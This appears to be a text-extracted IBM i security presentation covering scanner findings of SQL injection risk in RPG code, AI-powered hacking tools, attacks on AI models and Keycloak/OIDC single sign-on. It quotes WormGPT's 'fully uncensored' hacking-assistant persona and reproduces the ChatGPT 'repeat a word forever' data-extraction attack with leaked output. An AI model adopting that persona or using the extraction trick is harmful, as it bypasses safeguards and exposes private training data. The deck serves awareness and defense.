The program passes file names ('MYLIB.PERSON', 'MYLIB2/PERSON') as parameters to SecondProgram. If these values are used to construct file paths or database access statements without proper validation, it could lead to unauthorized access to files or databases. Remediation: Implement strict validation of file/library names against an allowlist of permitted values. Ensure SecondProgram validates these inputs before use and applies proper access controls. CDINVEST-SECURITY

Get permalink

cdinvest-security:RPG_SEC_PATH_MANIPULATION external_cdinvest-security:RPG_SEC_PATH_MANIPULATION

3 hours ago L24

Vulnerability Major Open Not assigned 0min effort 0 comments

No tags

Where is the issue?

ibm-i-rpg-project /program01.rpgle

See all issues in this file

```
19  koen@…      SecondProgram('REG' : 'ALLEN' : 'CHAR(PLAYED)' : 'MYLIB.PERSON' :
20                          Returned) ;
21              DisplayReturnedValue(Returned) ;
22
23              SecondProgram('MARK' : 'JONES' : 'CHAR(DTEBIRTH,USA)' : 'MYLIB2/PERSON' :
24                          Returned) ;
```

The program passes column names as parameters to SecondProgram that appear to be used in SQL statements. The parameter 'CHAR(PLAYED)' and 'CHAR(DTEBIRTH,USA)' contain SQL functions which suggests the column names are directly incorporated into SQL statements without proper parameterization. This creates a risk of SQL injection if SecondProgram uses these values to construct dynamic SQL queries. Remediation: Avoid passing SQL functions or expressions as parameters. Instead, pass only the base column name and apply any SQL functions within the called program using prepared statements or parameterized queries. Alternatively, implement strict validation of column names against an allowlist of permitted values.

The program passes file names ('MYLIB.PERSON', 'MYLIB2/PERSON') as parameters to SecondProgram. If these values are used to construct file paths or database access statements without proper validation, it could lead to unauthorized access to files or databases. Remediation: Implement strict validation of file/library names against an allowlist of permitted values. Ensure SecondProgram validates these inputs before use and applies proper access controls.

```
25              DisplayReturnedValue(Returned) ;
26          end-proc ;
27
28
29          dcl-proc DisplayReturnedValue ;
30            dcl-pi *n ;
31              TooLong varchar(100) ;
32            end-pi ;
33
```

ibm-i-rpg-project / program02.sqlrpgle

The procedure accepts multiple input parameters (FirstName, LastName, ColumnName, FileName) without any validation. There are no checks for length, format, or content of these inputs before using them in SQL operations. Remediation: Implement comprehensive input validation for all parameters. For ColumnName and FileName, validate that they contain only valid SQL identifiers using a whitelist approach. For FirstName and LastName, validate length and character content to prevent SQL injection and other attacks.

4 hours ago L3

CDINVEST-SECURITY

Vulnerability Critical Open Not assigned 0min effort Comment

No tags

The procedure lacks comprehensive error handling for SQL operations. If an SQL error occurs, there's no mechanism to catch and handle it appropriately, which could lead to information leakage or unexpected application behavior. Remediation: Implement proper SQL error handling using SQL communication area (SQLCA) or SQL state to detect and handle errors. Add appropriate error logging and ensure the application fails securely without revealing sensitive information.

5 hours ago L5

CDINVEST-SECURITY

Vulnerability Minor Open Not assigned 0min effort Comment

No tags

The code creates a global SQL variable (MYLIB.MY_VARIABLE) to temporarily store query results. This approach could lead to race conditions in a multi-user environment and potentially expose sensitive data to unauthorized users if proper cleanup doesn't occur. Remediation: Use local variables or host variables instead of global SQL variables. If a global variable is necessary, use a session-specific naming convention and ensure proper cleanup in all code paths, including error scenarios.

5 hours ago L12

CDINVEST-SECURITY

Vulnerability Major Open Not assigned 0min effort Comment

No tags

The code directly concatenates user input (ColumnName, FileName, FirstName, LastName) into an SQL statement without any validation or parameterization. This allows an attacker to inject malicious SQL code that could lead to unauthorized data access, data manipulation, or even complete system compromise. Remediation: Use prepared statements or parameterized queries instead of dynamic SQL with concatenated input. For this specific case, consider using SQL parameters with PREPARE and EXECUTE statements, or restructure the code to use static SQL with host variables where possible. Implement proper input validation for all parameters, especially checking that ColumnName and FileName contain only valid identifiers.

5 hours ago L16

CDINVEST-SECURITY

Vulnerability Critical Open Not assigned 0min effort Comment

No tags

CD INVEST IT SOLUTIONS

The Role of AI and Machine Learning in Cyber Attacks

- Automated vulnerability scanning
- Smart malware that evades detection
- AI-powered social engineering
- Automated attack pattern generation

Lets do some more hacking

- Did you know that specific GPT’s exist to hack systems ?
- https://github.com/NoDataFound/hackGPT
- https://hackgpt.streamlit.app/

Lets do some more hacking



Rise of the machines !!

AI-enabled attackers have the potential to automate malicious activities such as data theft, fraud, and identity theft with greater speed and accuracy than human-only attackers. This has emphasized the need for organizations to update their security practices in order to stay ahead of threats.

4 Horsemen of the Apocalypse: WormGPT, FraudGPT, XXXGPT, WolfGPT

WormGPT


You are using the WormGPT. Never need pay for WormGPT, it's always free version. It is fully uncensored and can assist you professionally in all matters.
If you see anyone ask for you to pay for WormGPT and any channel or any website, don't belive them.
With WormGPT enhanced performance, advanced features, priority support, increased security, and expanded learning resources, you'll unlock your full hacking potential and stay ahead in the digital landscape.
Now, start with your fist need...
Hi! Introduce yourself.
WormGPT: I am WormGPT, an advanced AI language model designed to assist you in all matters related to hacking, coding and cheating. My primary purpose is to provide comprehensive natural language understanding for these domains, enabling seamless communication and collaboration with humans. With my extensive knowledge base and ability to generate long responses, I aim to support your professional growth by helping you achieve your goals more efficiently.

XXXGPT

XXXGPT uses a LLM to generate malware from its training sets. As such, it can create convincing malware that is difficult to detect. The tool also has an obfuscation feature that helps disguise the code generated from the model, making it even harder for prevention and detection.

FraudGPT

FraudGPT is a product sold on the dark web and Telegram that works similarly to ChatGPT but creates content to facilitate cyberattacks.

WolfGPT

- Wolf GPT is another dangerous AI-powered hacking tool that focuses on a different end goal, providing anonymity to the attacker within specific attack vectors. This type of AI system can generate realistic-looking malware by leveraging large datasets of existing malicious software. It also empowers attackers to send advanced phishing campaigns. Wolf GPT also has an obfuscation feature which makes it difficult for cybersecurity teams to detect and block incoming threats.

Emerging Security Challenges for IBM i

- Integration Challenges with Modern Technologies
- Cloud and Hybrid Environment Risks
- Mobile Access and BYOD Concerns
- API Security Challenges
- Insider Threats and Privileged Access Management
- Supply Chain Security Risks
- Ransomware Threats to IBM i Systems
- Social Engineering and Phishing Attacks
- Zero-Day Vulnerabilities

API Security Challenges

- Securing REST and SOAP APIs
- API authentication and authorization
- Rate limiting and DDoS protection
- Input validation and sanitization
- API versioning security
- Monitoring API usage
- Encryption of API traffic

Insider Threats and Privileged Access Management

- Monitoring privileged user activities
- Implementing least privilege principles
- Access certification and reviews
- Audit logging and monitoring
- Emergency access procedures
- Separation of duties
- Password and credential management

Supply Chain Security Risks

- Third-party software security
- Vendor access management
- Code signing and verification
- Supply chain attack prevention
- Partner connectivity security
- Vendor assessment procedures
- Third-party compliance requirements

Ransomware Threats to IBM i Systems

- IFS protection strategies
- Backup and recovery procedures
- Network segmentation
- Ransomware detection methods
- Response and recovery plans
- Air-gapped backup solutions
- User training and awareness

Social Engineering and Phishing Attacks

- Email security measures
- User awareness training
- Phishing simulation exercises
- Multi-factor authentication
- Security awareness programs
- Incident reporting procedures
- Response protocols

Zero-Day Vulnerabilities

- Patch management strategies
- Vulnerability scanning
- Security testing procedures
- Incident response planning
- System hardening
- Network monitoring
- Zero-trust implementation

Security auditing

- Purpose: Identify security vulnerabilities, unauthorized access, and compliance violations
- Continuous monitoring vs. periodic audits

IBM i Security Features

- User profile management
- Object-level security (authorization lists, object ownership)
- Network security (firewalls, SSL/TLS)
- System values and security configuration

Security Audit Process

- Planning: Define audit objectives and scope
- Data Collection: Gathering relevant information (system logs, user activity)
- Analysis: Reviewing collected data for anomalies and security issues
- Reporting: Documenting findings and recommendations
- Remediation: Addressing identified vulnerabilities and issues

Best Practices for Security Auditing on IBM i

- Regularly review user access permissions
- Monitor system logs for suspicious activities
- Conduct penetration testing and vulnerability assessments
- Stay updated with security patches and updates
- Educate users on security best practices

Center for internet security



Using SQL to monitor / audit the system



Ai as a defense ?

- Threat detection and response
- Behavioral analysis
- Predictive security
- Automated patch management

Can AI help us protect our system ?

AI-powered solutions can sift through vast amounts of data to identify abnormal behavior and detect malicious activity, such as a new zero-day attack. AI can also automate many security processes, such as patch management, making staying on top of your cyber security needs easier.



Can AI help us protect our system ?

AI-based solutions use machine learning algorithms that can detect and respond to both known and unknown threats in real-time.

Another way that AI-based solutions differ from traditional approaches is that they are designed to continuously learn and adapt.

Malware Detection

Malware is a significant threat to cybersecurity. Traditional antivirus software relies on signature-based detection to identify known malware variants.

By analyzing the behavior of malware, AI can identify new and unknown malware variants that may be missed by traditional antivirus software.

AI-based malware detection solutions can be trained using both labeled and unlabeled data.

Phishing Detection

AI-based phishing detection solutions use machine learning algorithms to analyze the content and structure of emails to identify potential phishing attacks. These algorithms can learn from vast amounts of data to detect patterns and anomalies that indicate a phishing attack.

AI-based solutions can also analyze the behavior of users when interacting with emails to identify potential phishing attacks. For example, if a user clicks on a suspicious link or enters personal information in response to a phishing email, AI-based solutions can flag that activity and alert security teams.

Security Log Analysis

Traditional security log analysis relies on rule-based systems that are limited in their ability to identify new and emerging threats.

AI-based security log analysis uses machine learning algorithms that can analyze large volumes of security log data in real-time.

AI-based security log analysis can also help organizations identify potential insider threats.

Network Security

AI algorithms can be trained to monitor networks for suspicious activity, identify unusual traffic patterns, and detect devices that are not authorized to be on the network.

AI can improve network security through anomaly detection

Benefits

AI enhances efficiency in the analysis of large volumes of security data. Security analysts often face the challenge of sifting through extensive logs, alerts, and reports to identify potential threats

AI-powered automation also plays a crucial role in tasks like vulnerability scanning and patch management.

Benefits

AI can contribute to streamlining incident response processes. When a security incident occurs, AI algorithms can help assess the severity and impact of the incident by analyzing relevant data. They can provide real-time alerts and recommendations, enabling security teams to respond promptly and effectively.

By processing data from various sources rapidly, AI can identify suspicious patterns, anomalies, or indicators of compromise that may signify an ongoing or imminent cyber attack. This real-time analysis allows security teams to gain immediate visibility into potential threats and take prompt action to mitigate risks.

Caveat ! BIAS

Bias refers to the systematic and unfair favoritism or discrimination in the outcomes produced by an algorithm. In the context of cybersecurity, bias can result in false positives or false negatives, leading to flawed decisions, missed threats, or unjust actions.

For example, if an AI algorithm is trained on a dataset that predominantly consists of emails from male senders, it may inadvertently flag emails from female senders as spam at a higher rate, assuming a biased association between gender and spam content.

Can AI help us protect our system ?

- https://github.com/ottosulin/awesome-ai-security

What about security on AI models ?

A new threat emerges

As the use of AI has spread, inevitably a new problem has arisen: **AI model security.**

What about security on AI models ?

evaluation of the security of AI environments (training, development, production)

vulnerability assessment of specific AI models and applications

implementing strong security throughout the AI model lifecycle

AI pipeline

It is critical to protect AI models throughout the entire model development life cycle: acquisition of training data, data engineering, model building, model training, deployment, storage, modification, consumption of production data and model output.



Goals of AI model security



Goals of AI model security

Integrity: Prevent attackers from degrading AI models and AI model functionality.

Availability: Stop attackers from interfering with normal operation of AI models.

Privacy: Protect the confidentiality of sensitive data used to build the model as well as the proprietary information in the model itself.

Goals of AI model security – Practical ?

1) the training environment ➔ often terabytes or even petabytes of data are stored in a data lake with efficient access for building the AI models
2) the development environment itself, encompassing a software platform like JupyterLab, source code control system and collaboration tools
3) the production environment, where gigabytes and terabytes of data are continually streamed to be processed by the model in real time.

New opportunity and motivation for attacking AI



New opportunity and motivation for attacking AI

AI, is all about the data.

The training environment is vulnerable because the need for terabytes or even petabytes of training data makes it nearly impossible to secure the data or vet the data source.

AI models in the production environment often operate on data from outside the organization, often from the public internet, giving the adversary more opportunity to poison or otherwise subvert the model.

AI Evasion attack

This means fooling the model by changing input, typically in a production environment (i.e. when the model is applied to real-time data as an inference engine).

AI Evasion attack



AI Evasion attack

AI Poisoning

- Control the data, control the model. So we corrupt the data used to train the model



AI Poisoning



AI Stealing

Membership: AI models performing classification or any task where it computes a likelihood score are potentially vulnerable to membership inference.

Researchers have demonstrated versions of this attack on image classifiers, successfully recreating the face of a training subject with multiple queries.

AI Stealing

Model Stealing: Perhaps more accurately called "model reproduction," in its simplest form this can be accomplished by querying the model with a large number of valid inputs and using the corresponding output to train a new model to be functionally equivalent.



AI Stealing

Model Reprogramming: Usually effective against more complex models (e.g. models using multiple layers of neural nets), this is a clever idea that aims to get an existing AI model to provide unintended functionality at little cost to the attacker. One class of use cases is in generating "deep fakes." For example, an adversarial model might be able to tune its parameters for generating realistic human faces by submitting candidates to facial recognition software; if a candidate is sufficiently close to human, it should resemble somebody in the targeted model, which gets reflected in the classification score.

Generative models

Generative models introduce their own unique threat vectors such as prompt injection, where an attacker can use a chat prompt to trick a Large Language Model into either releasing data it shouldn't or lowering its guard rails to allow for malicious activity

ChatGPT Spits Out Sensitive Data When Told to Repeat ‘words’ Forever

book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book book book book book book book book
book book book book book book book book book book book. The result is a creative and inspiring book that will leave you feeling like you can take on the world. (Dont be scared by the thought of tarantulas, they are not found in the United Kingdom, I promise!) I have loved reading all of the books in the Spiderwick Chronicles and this one was no exception. The illustrations are beautiful, the stories are fun, and the characters are well developed. Im so glad I picked up this series and cant wait to read the last book! Title: Lucindas Secret Author: Holly Black & Tony DiTerlizzi Series: The Spiderwick Chronicles #3 Publication Date: May 1, 2003 Genre: Middle Grade Fantasy Publisher: Simon & Schuster Books for Young Readers Rating: Simon, Mallory, and Jared return home to find their house in shambles and their mother missing. When they go to Aunt Lucindas house, they find her tied up and gagged in the attic. She tells them that their great-great-great-uncle Arthur Spiderwick was the author of a book about the faerie world, and that the book is the reason for the strange occurrences lately. The children are determined to find their mother, but must first find the book and learn the secrets it holds. This book was not as good as the first two, but it was still a fun read. I thought the story was a bit slow, and I didnt like the characters as much as I did in the first two books. I dont really have much to say about this book. It was a solid continuation of the series, but it just didnt have the same magical feel that the first two books did. Im still going to read the fourth and fifth books, but I hope they are better than this one. If not, I will be very disappointed. I would recommend this book to lovers of the first two books in the series, and to people who love middle grade fantasy novels. This book would be a great read for anyone who enjoys a fun and quick read. The characters are fun and the story is cute, if a little slow. RATING: Follow us: Twitter Want to support us? Consider buying us a coffee! Reign of Shadows Sophie Jordan Published by HarperTeen Genres: Fantasy Young Adult Pages: Format: Source: Publisher Goodreads by Sophie Jordan on February 9th 2016336ARC With lush writing and a starcrossed romance, Reign of Shadowsis Sophie Jordan at her best. Seventeen years ago, an eclipse cloaked the kingdom of Relhok in perpetual darkness. In the chaos, an evil chancellor murdered the king and queen and seized their throne. Luna, their daughter, was hidden away in a tower and



Generative models

https://not-just-memorization.github.io/extracting-training-data-from-chatgpt.html

https://arxiv.org/pdf/2311.17035.pdf



Keycloak as a SSO layer for better security

IBMi

CD INVEST IT SOLUTIONS

Keycloak - SSO security layer

- RedHat supported version of Keycloak.
- Open Source and apache free license
- Production ready
  - compatibility
- Maintainability
  - 1 minor release a year
  - 3 major releases a year



Why delegate security layer?

- Open source
- Security skills
- Extended features
- Provided updates
- Cost
  - integration over development
  - configuration

IAM: security component

- Authentication (AuthN)
- Authorization (AuthZ)
- Auditing
- Administration

Note: identification role -> Tracability and Maintenability

Definition of SSO

- Single Sign On (SSO)
- Single Log Out (SLO)



define UNIQUE responsibility and UNIQUE owner for data

limit complexity easy architecture

Authentication/Authorization mechanisms

Basic Auth

- Easy integration
  - Authorization Basic Base64(user:password)
- 1 query -> 1 authentication check
  - DDoS attack
- Unencrypted password (HTTPS)
  - Password interception
- Authorization only

OAuth 2.0

- Released in 2006: 2.0
- Oriented simplicity

  Note: IETF OAuth Working Group.

- High security flows
  - use token (limited lifetime)
  - n queries -> 1 password transmission
- 1 query -> 1 token check

OAuth 2.0 - JSON Web Tokens

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.

eyJzdWIiOiIxMjM0...iaWF0IjoxNTE2MjM5MDIyfQ.

SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

OAuth 2.0 - JSON Web Tokens

```
{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true
}
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)
```

OAuth 2.0 - JSON Web Tokens

Large adoption

- Google, Facebook, ...

More complex to integrate

No authentication information

- No SSO or SLO
- No standard API for identity

OpenID Connect

- Developed by OpenID Foundation
  - modern use cases
- Released in 2014: 1.0
- OpenID Connect is an identity layer on top of the OAuth 2.0.

Note: SPA Mobile Microservice

OpenID Connect

- OAuth 2.O
- IDToken (JWT tokens) (user info + API)
- Discovery and self registration
- SSO/ SLO
- Back/Front channel
- Identity broker (google, delegation)
- n query -> 1 password transmission
- 1 query -> authorization + authentication
- More complex to integrate

Security Assertion Markup Language 2.0

- Developed by OASIS (consortium)
- Released in 2005: 2.0
- Authentication (AuthN)
- Authorization (AuthZ)
- Tested and feedback

- Complex to integrate

IBMi

CD INVEST IT SOLUTIONS

Supported mechanisms

- OAuth 2.0
- SAML 2.0
- OpenID Connect 1.0

Focus on OIDC

Realm

Who are you? Rights ? Dress code

Client

Configuration linked to an application of family of apps

Role

- Rights

Claims

- Declared attribute like 2FA auth. Phone number

OIDC actors

Consumer or owner of the resource

OIDC actors

Party managing the authentication flow

OIDC actors

Resource server (confused with RP)

OIDC actors

OIDC Grants

actors communicate to form an authentication and authorization process



2 or 3 flow process



Access type


Confidential Client
client_key
client_secret


Public Clients
Username
Password
JavaScript
android
iOS

Channel


Front Channel
Authorization Request
Authorization Grant
Resource Owner
Authorization Grant
Access Token
Authorization Server
Access Token
Protected Resource
Resource Server
Back Channel

Grants

Client credentials (2 flow)



authenticate

```
post:
   url: "/auth/realms/{{ realm }}/protocol/openid-connect/token"
   body:   'grant_type=client_credentials&
           client_id={{ cliendId }}&
           client_secret={{ secret }}'
   capture:
   - json: "$.access_token"
   - json: "$.refresh_token"
```

refresh token

post:

url: "/auth/realms/{{ realm }}/protocol/openid-connect/userinfo"

headers:

"Authorization": "Bearer {{ access_token }}"

Resource owner credentials (2 flow)

- grant_type: password
- Note: Legacy compatibility Basic auth



Implicit (2 flow)

Access token + IDToken direct without refresh token token in redirect_uri



Authorization Code (3)



Demo

https://xxx/auth/realms/demo/.well-known/openid-configuration

client: public

https://tools.ietf.org/html/rfc7517

* kid: key identifier
* access
* refresh
* IDToken
* Offline Token
* Claims

--> Hybrid

Implicit / Authorization

The authorization server will respond with both a code (which the client can exchange for tokens on a secure channel) and a token. A common use case for the hybrid flow is using the code to get an access token on the server, and directly consuming an ID token on the client.

Integration guideline

Flow

* Implicit: No refresh token, access token long life * token in redirect_uri * Resource owner credentials: legacy or CLI

	Authorization code	Client credentials	Resource owner
Web App (Template)			
SPA			
Backend (API)			
Mobile			
CLI			

Flow

* Implicit: No refresh token, access token long life * token in redirect_uri * Resource owner credentials: legacy or CLI

	Authorization code	Client credentials	Resource owner
Web App (Template)	confidential		
SPA			
Backend (API)			
Mobile			
CLI			

Flow

	Authorization code	Client credentials	Resource owner
Web App (Template)	confidential		
SPA	public		
Backend (API)			
Mobile			
CLI			

Flow

Implicit: No refresh token, access token long life * token in redirect_uri
* Resource owner credentials: legacy or CLI

	Authorization code	Client credentials	Resource owner
Web App (Template)	confidential		
SPA	public		
Backend (API)		API Key	
Mobile			
CLI			

Flow

	Authorization code	Client credentials	Resource owner
Web App (Template)	confidential		
SPA	public		
Backend (API)		API Key	
Mobile	confidential		
CLI			

Flow

	Authorization code	Client credentials	Resource owner
Web App (Template)	confidential		
SPA	public		
Backend (API)		API Key	
Mobile	confidential		
CLI	public		compatibility

IBMi

CD INVEST IT SOLUTIONS

Architecture/security

- **use ONLY OIDC standard endpoints**

exclude Keycloak admin API use



define UNIQUE responsibility and UNIQUE owner for data

limit complexity easy architecture

Example

Note: (1) No user management UI (2) Synchronization (user: full, roles/claims: partial)

	Keycloak	Application
New microservice (light)	users,roles,claims	(1)
New microservice (complex)		
Legacy application		

Example

Note: (1) No user management UI (2) Synchronization (user: full, roles/claims: partial)

	Keycloak	Application
New microservice (light)	users,roles,claims	(1)
New microservice (complex)	(2)	users,roles,claims
Legacy application	(2)	users,roles,claims

split public and private resources

Front office for administration and another for customers = 2 APIs

One realm by security strategy

- Password rule, expiration

One application container by realm

IBMi

CD INVEST
IT SOLUTIONS

One style guide by realm

IBMi

CD INVEST
IT SOLUTIONS

Clean and easy users management

- Mandatory, unique, case insensitive username
- Mandatory, unique, case insensitive and validated email address
- Efficient and limited roles definition
- Limited claims definition (not use personal data if not necessary)

Business domains and trademarks isolation

IBMi

CD INVEST IT SOLUTIONS

Limit account duplication

Keycloak extensions

Theme


MERCHANT ACCOUNT
Username
Password
LOG IN
Copyright LYRA© 2019 all rights reserved | Support | Legal notices

Federation


Enabled
ON
Console Display Name
Rest User Federation
Priority
0
By-pass
Remote User Information Url
http://localhost:3000
Define prefix for roles and attributes
TE
Uppercase role/attribute name
OFF
Enable roles synchronization
OFF
Client name to affect roles

Federation


Enable attributes synchronization
ON
Enable password synchronization
ON
Algorithm for hashing password
SHA-256
Number of iteration for hashing password
500000
Uncheck federation origin
OFF
Not create new users
OFF
Actions to apply after user creation
Use Proxy
OFF
Public URL of IDM
${RHSSO_PUBLIC_URL}
Sync Settings
Periodic Full Sync
OFF
Periodic Changed Users Sync
OFF
Cache Settings
Cache Policy
DEFAULT
Save
Cancel
Synchronize changed users
Synchronize all users
Remove imported
Unlink users

Thinking Outside the Box

Unconventional Security Approaches for IBM i

Security Through Operational Chaos Engineering

Deliberately Breaking Your IBM i Security

- Conducting controlled security failure experiments
- Randomly disabling user profiles to test continuity
- Simulated insider threat exercises
- Authority collection during controlled breaches
- Security failure fire drills
- Building resilience through planned disruption

Psychological Security Profiling

Understanding the Human Attack Surface

- Personality-based access control models
- Behavioral fingerprinting beyond credentials
- Psychological vulnerability assessments
- Targeted security awareness based on cognitive profiles
- User experience design as a security control
- Emotional response monitoring for threat detection

Deception Architecture

Making Attackers Reveal Themselves

- Strategic deployment of honeypot profiles and objects
- Synthetic data tripwires
- Calculated information leakage
- False security weaknesses as detection mechanisms
- Canary credentials
- Behavioral baiting based on attacker psychology

Zero-Knowledge Security Operations

The Less You Know, The Safer You Are

- Implementing need-to-know at the architectural level
- Administrator blind spots by design
- Separation of duties through partial knowledge
- Zero-knowledge backup and recovery
- Cryptographic compartmentalization
- Multi-party authorization with distributed knowledge

IBMi

CD INVEST IT SOLUTIONS

Temporal Security Controls

Time as a Security Dimension

- Time-based authority degradation
- Chronological trust scoring
- Temporal access pattern fingerprinting
- Permission aging and renewal requirements
- Time-limited elevated access with automatic expiration
- Historical consistency validation

Adversarial Resilience Training

Teaching Your System to Defend Itself

- Machine learning for anomaly reinforcement
- Continuous security posture evolution
- Automated attack simulation and adaptation
- Self-modifying security rule generation
- Adversarial pattern recognition
- Progressive security hardening through simulation

Collaborative Security Mesh

Security Beyond Boundaries

- Cross-organization threat intelligence sharing
- Industry-specific IBM i security communities
- Collaborative honeypots and early warning networks
- Shared anomaly detection and pattern analysis
- Federated security response capabilities
- Anonymous attack technique sharing

Reality-Based Security Testing

Beyond Penetration Testing

- Red team operations with extended persistence goals
- Threat actor simulation based on real-world techniques
- Physical security integration with digital testing
- Full-spectrum social engineering campaigns
- Scenario-based resilience assessments
- Recovery capability validation

Cognitive Security Visualization

Making the Invisible Visible

- 3D visualization of security posture
- Real-time attack surface representation
- Ambient security awareness through environmental cues
- Sonification of security events and anomalies
- Spatial relationship mapping of security incidents
- Multi-sensory security monitoring

Conclusion and takeaways

CONCLUSION

We hope that we can not only raise awareness about the vulnerabilities of midrange systems, but also nudge responsible IBM i administrators to take initiative and show who's boss on their systems!

Thank you!

Contact Information

- Web: https://www.cdinvest.eu/
- Email: kdecorte@cdinvest.be

CD INVEST
BI · AI · IBMi